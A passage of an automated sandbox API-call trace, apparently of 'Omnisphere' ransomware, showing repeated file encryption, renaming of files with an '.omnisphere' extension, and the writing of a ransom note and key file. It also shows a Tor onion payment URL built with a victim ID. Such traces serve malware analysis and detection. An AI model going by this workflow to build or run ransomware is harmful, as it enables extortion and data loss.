dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.775] CryptDestroyKey (hKey=0x16397a8) returned 1 [0127.775] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0127.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.775] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.775] GetProcessHeap () returned 0x1600000 [0127.776] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16f4398 [0127.776] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\162797d679096999.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\162797d679096999.automaticdestinations-ms.omnisphere")) returned 1 [0127.776] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms.omnisphere.id" [0127.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\162797d679096999.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.777] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.778] CloseHandle (hObject=0x388) returned 1 [0127.779] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.779] CloseHandle (hObject=0x3c0) returned 1 [0127.779] SetEndOfFile (hFile=0x288) returned 1 [0127.779] FlushFileBuffers (hFile=0x288) returned 1 [0127.783] CloseHandle (hObject=0x288) returned 1 [0127.783] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.783] GetProcessHeap () returned 0x1600000 [0127.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1710858 [0127.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.783] GetProcessHeap () returned 0x1600000 [0127.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1a78 [0127.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1a78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.783] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.783] GetProcessHeap () returned 0x1600000 [0127.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17106a0 [0127.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17106a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.783] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.783] GetProcessHeap () returned 0x1600000 [0127.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16302c0 [0127.783] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.783] GetProcessHeap () returned 0x1600000 [0127.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1700c08 [0127.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.784] WriteFile (in: hFile=0x288, lpBuffer=0x1700c08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1700c08*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.785] CloseHandle (hObject=0x288) returned 1 [0127.785] GetProcessHeap () returned 0x1600000 [0127.785] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1710858 | out: hHeap=0x1600000) returned 1 [0127.785] GetProcessHeap () returned 0x1600000 [0127.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.785] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.787] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.788] CloseHandle (hObject=0x288) returned 1 [0127.788] GetProcessHeap () returned 0x1600000 [0127.788] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.788] GetProcessHeap () returned 0x1600000 [0127.788] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.788] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce308d7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ce308d7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92aa4b2b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0127.788] GetProcessHeap () returned 0x1600000 [0127.788] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.788] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="1b4dd67f29cb1962.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" [0127.788] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.789] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=3072) returned 1 [0127.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x6dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.789] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.790] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x3c0 [0127.790] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.790] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.791] CloseHandle (hObject=0x3c0) returned 1 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.791] GetTickCount () returned 0x115fe23 [0127.792] GetTickCount () returned 0x115fe23 [0127.792] GetTickCount () returned 0x115fe23 [0127.792] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16689b0) returned 1 [0127.792] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0127.792] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.792] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.792] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0127.792] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x3c0 [0127.792] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc00) returned 0x1480000 [0127.793] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16688a0) returned 1 [0127.793] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0127.793] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.793] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.794] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.795] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 